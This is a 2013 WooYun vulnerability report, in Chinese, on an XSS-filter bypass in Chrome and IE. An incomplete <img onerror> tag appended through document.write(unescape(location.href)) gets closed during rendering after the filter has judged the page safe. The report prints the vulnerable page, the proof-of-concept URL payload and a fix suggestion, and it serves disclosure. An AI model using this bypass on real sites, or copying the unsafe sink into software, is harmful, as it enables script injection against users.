当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-033834

漏洞标题:Chrome/IE 渲染考虑不周导致的一种XSS Filter绕过

相关厂商:Chrome/IE

漏洞作者: blast

提交时间:2013-08-08 15:24

修复时间:2013-08-08 15:24

公开时间:2013-08-08 15:24

漏洞类型:设计错误/逻辑缺陷

危害等级:低

自评Rank:1

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-08: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-08-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

Chrome/IE 判断和渲染考虑不周导致的一种XSS Filter绕过
内容很简单=。=勿太期待……XSS过滤器必须在页面渲染之前执行的逻辑,使得特殊情况下传入任意标签都可以绕过

详细说明:

如下代码:
http://vicitim/a.html

<html>
<body>
<script type="text/javascript">
document.write(unescape(location.href));
</script>
</body>
</html>


由于document.write写入的位置在页面结尾,假如攻击者使用如下网址访问页面:
http://vicitim/a.html?<img src=x onerror=alert(6);//
注意这儿传入的是一个不完整的标签,此时页面没有开始渲染(XSS过滤器必须在渲染之前执行,这个逻辑很简单~),XSS过滤器模拟执行得到的页面内容为:

<html>
<body>
<script type="text/javascript">
document.write(unescape(location.href));
</script>
</body>
</html>http://vicitim/a.html?<img src=x onerror=alert(6);//


这时由于最后一个标签有误(不完整),所以在XSS过滤器预先判定时,按DOM内容来判断,最后一个也只是#TEXT文本,而不是标签,没有进入过滤流程。
按照动作判定时,最后一个标签不完整,仍然无法执行任何事件,XSS代码并没有触发,XSS过滤器因此判断这个页面安全。问题就出在这儿。
真实渲染的时候,由于XSS代码(HTML文本)出现在页面</html></body>之后,所以浏览器渲染引擎需要扩充<html>的范围为:

<html>
<body>
<script type="text/javascript">
document.write(unescape(location.href));
</script>
http://vicitim/a.html?<img src=x onerror=alert(6);//</body>
</html>


问题来了:这时标签会被闭合:

<html>
<body>
<script type="text/javascript">
document.write(unescape(location.href));
</script>
http://vicitim/a.html?<img src=x onerror=alert(6);//</ body>
</html>


形成了如下标签:

<img src=x onerror=alert(6);//</  body>


规范化后为:

<img src="x" onerror="alert(6);//</"  body="">


由于页面此时缺</body>标签封闭,浏览器还会再加一个</body>,最终显示结果为:

<html>
<body>
<script type="text/javascript">
document.write(unescape(location.href));
</script>
http://vicitim/a.html?<img src="x" onerror="alert(6);//</" body="">
</body>
</html>


alert(6)执行。

漏洞证明:

f2.png

f1.png

修复方案:

渲染时应避免和不完整的标签组合成一个新标签

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝